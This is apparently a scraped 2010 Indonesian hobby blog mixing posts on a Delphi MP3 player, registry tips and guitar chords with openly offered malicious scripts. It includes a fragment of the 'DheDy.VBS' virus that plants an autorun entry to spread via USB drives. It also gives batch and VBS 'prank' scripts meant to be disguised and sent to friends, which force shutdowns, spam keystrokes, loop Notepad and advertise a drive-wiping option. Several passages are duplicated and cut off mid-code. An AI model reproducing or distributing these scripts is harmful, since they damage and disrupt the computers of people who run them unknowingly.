- pada awalnya kita buka notepad dan Copy Paste dan save script tersebut dengan extensi .Bat
Example Virus.Bat
Met Mencoba!!!!!!!!!!!!
Kamis, 13 Mei 2010
Selasa, 13 April 2010
Membuat Aplikasi Mp3 Melalui Delphi Borland 7
Untuk membuat mp3 Player kita hanya membutuhkan beberapa Item yaitu:
1. Commandbutton (5)
2. Listbox (3)
3. CommonControlDialog (1)
4. MediaPlayer (1)
Ket: untuk menambahkan item seperti Mediaplayer dapat menambahkan dengan menekan tombol ctrl+t. Dan untuk mediaplayer, list1 dan list3 ubah properties visible menjadi false. dan ubah nama mediaplayer menjadi player.
Berikut tampilan setelah semua item dimasukan:
1. Commandbutton (5)
2. Listbox (3)
3. CommonControlDialog (1)
4. MediaPlayer (1)
Ket: untuk menambahkan item seperti Mediaplayer dapat menambahkan dengan menekan tombol ctrl+t. Dan untuk mediaplayer, list1 dan list3 ubah properties visible menjadi false. dan ubah nama mediaplayer menjadi player.
Berikut tampilan setelah semua item dimasukan:
Sabtu, 10 April 2010
Virus DheDy.VBS
tanya caranya?Gampangg....tinggal copas(Copy Paste)script Virus Dhedy.Vbs Di bawah ini
kemudian beri extensi Vbs jgn lupa tanda dot(.) sebelum vbs
coba yach,dan komen bila memuaskan
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
kemudian beri extensi Vbs jgn lupa tanda dot(.) sebelum vbs
coba yach,dan komen bila memuaskan
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
Selasa, 06 April 2010
membuat shortcut ke semua folder

Folder system yang dimaksud di sini adalah folder Printers, Control Panel, My Computer, dll. Nah, kalau Anda sering mengakses folder-folder tersebut alangkah lebih baiknya kalau Anda membuat shortcutnya yang bisa Anda letakkan pada Desktop atau pun pada Start Menu. Contohnya untuk membuat shortcut Control Panel pada Desktop:
- Klik kanan pada Desktop.
- Pilih New – Folder.
- Beri nama folder tersebut dengan Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}.
Dial Up Networking
Dial-Up Networking.{992CFFA0-F557-101A-88EC-00DD010CCC48}
Printers
Printers.{2227A280-3AEA-1069-A2DE-08002B30309D}
Control Panel
Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}
My Computer
My Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Network Neighborhood
Network Neighborhood.{208D2C60-3AEA-1069-A2D7-08002B30309D}
Recycle Bin
Recycle Bin.{645FF040-5081-101B-9F08-00AA002F954E}
Inbox
InBox.{00020D75-0000-0000-C000-000000000046}
trik-trik jitu seputar register editor (regedit)
Beberapa tips dan registry windows dibawah ini cuma berlaku buat Windows XP.
Sebelum mengutak-atik Registry, ada baiknya melakukan backup terlebih dahulu.
* Klik tombol Start > Run atau tekan tombol Windows+R pada keyboard.
* Ketik regedit dan tekan Enter setelah berada didalam jendela Run.
* Didalam Registry Editor, pilih menu File > Export.
Senin, 05 April 2010

All this comand use to type in notepad
1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
2) Toggle your friend's Caps Lock button simultaneously:
Type :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.
3) Convey your friend a lil' message and shut down his / her computer:
Type :
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.
4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.
6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it.
8. Open Notepad continually in your friend's computer:
Type :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it.
9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it.
You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.
10) THRETEN BY MAKING SCREEN FLASH
To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
To disable error (ctrl+shirt+esc) then end process wscript.exe
Enjoy!!!^^
kunci gitar DragonForce thorgh the fire and flames
Intro- Bm G A Bm Bm G On a cold winter morning, in the time before the light A Bm In flames of death's eternal reign we ride towards the fight Bm G When the darkness has fallen down, and the times are tough all right A Bm The sound of evil laughter falls around the world tonight Bm G Fighting hard, fighting on for the steel, through the wastelands evermore A Bm The scattered souls will feel the hell bodies wasted on the shores Em Bm On the blackest plains in hell's domain, we watch them as we go Em A In fire and pain, and once again we know D A So now we fly ever free G We're free before the thunderstorm Bm A G On towards the wilderness our quest carries on Bm Em Bm D Far beyond the sundown, far beyond the moonlight Em A Deep inside our hearts and all our souls {Chorus:} G Bm So far away we wait for the day A Bm For the light source so wasted and gone G Bm We feel the pain of a lifetime lost in a thousand days A Bm Through the fire and the flames we carry on Bm As the red day is dawning G And the lightning cracks the sky A They'll raise their hands to the heavens above Bm With resentment in their eyes Bm Running back from the mid-morning light G There's a burning in my heart A We're banished from a time in a fallen land Bm To a life beyond the stars Em In your darkest dreams see to believe Bm Our destiny is time Em A And endlessly we'll all be free tonight D A G And on the wings of a dream, so far beyond reality Bm A G All alone in desperation, now the time has gone Bm E Bm D Lost inside you'll never find, lost within my own mind Em A Day after day this misery must go on {Chorus Again} Bm G Now here we stand with their blood on our hands A Bm We fought so hard now can we understand Bm G I'll break the seal of this curse if I possibly can A Bm For freedom of every man {Chorus Again}
Langganan:
Postingan (Atom)




